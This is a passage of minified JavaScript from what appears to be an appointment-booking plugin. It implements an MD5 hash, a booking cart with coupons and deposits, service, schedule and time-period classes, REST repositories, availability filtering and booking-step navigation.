b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,P.exports=function(t,i){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var E=_(P.exports);class A{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,"internal")==f(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return s(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return""!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t+1;return i<this.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return""!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return s(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let i=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()/1e3,10),8),s+=i(x.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=s(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=""}}class N extends O{setupProperties(){super.setupProperties(),this.name=""}}class V extends O{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation("price",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let i=e[t];null!=i&&""!==i&&(this[t]=b(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=i*this.amount/100}t=Math.min(t,i)}return t}}function H(e){return!!e}function W(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class j{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class z extends j{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function G(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),i=parseInt(t[0]),s=parseInt(t[1]),a=v();return a.setHours(i,s),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let i="short"==e?"public":e,s=G(this.startTime,i),a=G(this.endTime,i);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?u("All day","motopress-appointment"):"short"==e&&s==a?s:s+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends j{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let i=f(t,"internal"),s=new Date(t);e[i]=s}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new Y(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),"work"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class ee extends j{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends j{mapRestDataToEntity(e){return new V(e.id,e)}}class ie{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new z("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==ie.instance&&(ie.instance=new ie),ie.instance}}function se(){return ie.getInstance()}let ae=null;function re(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ne(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ne(i.children)));return t}function oe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,i,s+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new V(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(s,se().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(le):0!==t&&s.push(t);let r=[];for(let t in this.availability[e].employees){t=W(t);let i=this.availability[e].employees[t];if(0===s.length)r.push(t);else{a(s,Object.keys(i.locations).map(W)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===i?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,i="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=W(t),a.length>0&&-1===a.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)r.push(W(e))}return r=s(r),0===r.length?[]:"entities"===i?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let 